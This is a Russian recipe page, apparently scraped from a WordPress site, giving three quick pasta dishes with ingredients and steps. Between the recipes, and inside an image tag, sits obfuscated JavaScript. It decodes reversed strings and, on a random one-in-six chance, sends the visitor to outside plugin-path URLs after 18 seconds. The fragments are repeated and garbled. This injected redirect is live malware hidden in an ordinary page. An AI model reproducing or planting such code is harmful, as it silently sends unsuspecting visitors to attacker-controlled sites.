Паста на обед: 3 быстрых рецепта полезных блюд

Паста — это всегда сытно и вкусно. А если её ещё и несложно готовить, то она автоматически превращается в идеальный обед. Мы собрали три рецепта — с лимоном и чесноком, креветками в томатном соусе и с тыквой и пеканом, — на приготовление которых уйдёт меньше получаса. Успеете даже за перерыв!

480 calories

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-sleduet-paleodiete-5-receptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-poleznyh-i-im-14.jpg»> $NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-sleduet-paleodiete-5-receptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-poleznyh-i-im-14.jpg»>

Лимонная паста

Элементарный рецепт спагетти с лимонной цедрой и чесноком.

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-sleduet-paleodiete-5-receptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-poleznyh-i-im-14.jpg» class=»c2″ alt=»Изображение рецепта Лимонная паста» title=»Изображение рецепта Лимонная паста»>

Лимонная паста

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

20 минут

КОЛИЧЕСТВО ПОРЦИЙ:

2 порции

КАЛОРИЙНОСТЬ:

480 ккал

Сложность

Время

20 минут

Кол-во порций

2 порции

Калорийность

480 ккал

Ингредиенты

Макароны (спагетти)

200 г

Лимон (цедра)

1 шт.

Чеснок

1 зубчик

Масло (сливочное)

70 г

Сыр (твёрдый)

30 г

Процесс приготовления

1. На сковороде растопите сливочное масло, добавьте тёртую цедру и мелко нарезанный чеснок и подержите на огне пару минут.
2. Отварите спагетти до состояния альденте согласно инструкции на упаковке.
3. Готовую пасту добавьте в сковороду и перемешайте с лимонным маслом.
4. Подавайте горячей, посыпав тёртым сыром.

350 calories

Спагетти с острым томатным соусом

Рецепт для тех, кто любит поострее: перец чили в этой пасте сочетается с нежным вкусом креветок и ароматным орегано.

Спагетти с острым томатным соусом

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

20 минут

КОЛИЧЕСТВО ПОРЦИЙ:

3 порции

КАЛОРИЙНОСТЬ:

350 ккал

Сложность

Время

20 минут

Кол-во порций

3 порции

Калорийность

350 ккал

Ингредиенты

Макароны (спагетти)

300 г

Помидоры (очищенные)

800 г

Креветки

350 г

Масло (оливковое)

90 мл

Чеснок

4 зубчика

Петрушка

10 листьев

Орегано (сушёный)

1,5 ч. л.

Перец (чили молотый)

щепотка

Процесс приготовления

1. Отварите креветки и обжарьте их в оливковом масле несколько минут.
2. В сковороду добавьте мелко нарезанный чеснок, очищенные помидоры из банки, перец чили и орегано. Тушите 10 минут.
3. Отварите спагетти согласно инструкции на упаковке и смешайте с томатным соусом. Готово!

350 calories

Фузилли с тыквой и пеканом

Яркая паста фузилли со сладкой тыквой, шпинатом и орехами.

Фузилли с тыквой и пеканом

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

20 минут

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

350 ккал

Сложность

Время

20 минут

Кол-во порций

1 порция

Калорийность

350 ккал

Ингредиенты

Макароны (фузилли)

100 г

Тыква

160 г

Шпинат

120 г

Орехи (пекан)

6 шт.

Чеснок

3 зубчика

Масло (оливковое)

1 ст. л.

Процесс приготовления

1. Нарежьте тыкву на маленькие кубики и запекайте в духовке в течение 20 минут.
2. Отварите пасту согласно инструкции на упаковке и заправьте оливковым маслом.
3. Добавьте к пасте запечённую тыкву, нарезанный чеснок и шпинат. Подавайте, украсив пеканом.

Статьи по теме

Как приготовить пасту: 6 полезных рецептов, от которых голова пойдёт кругом

Как приготовить пасту дома: 4 рецепта для семейного ужина

Рецепты с гречневой лапшой: 3 полезных блюда

18 видов — от вермишели до тортеллини: самый полный гид по макаронам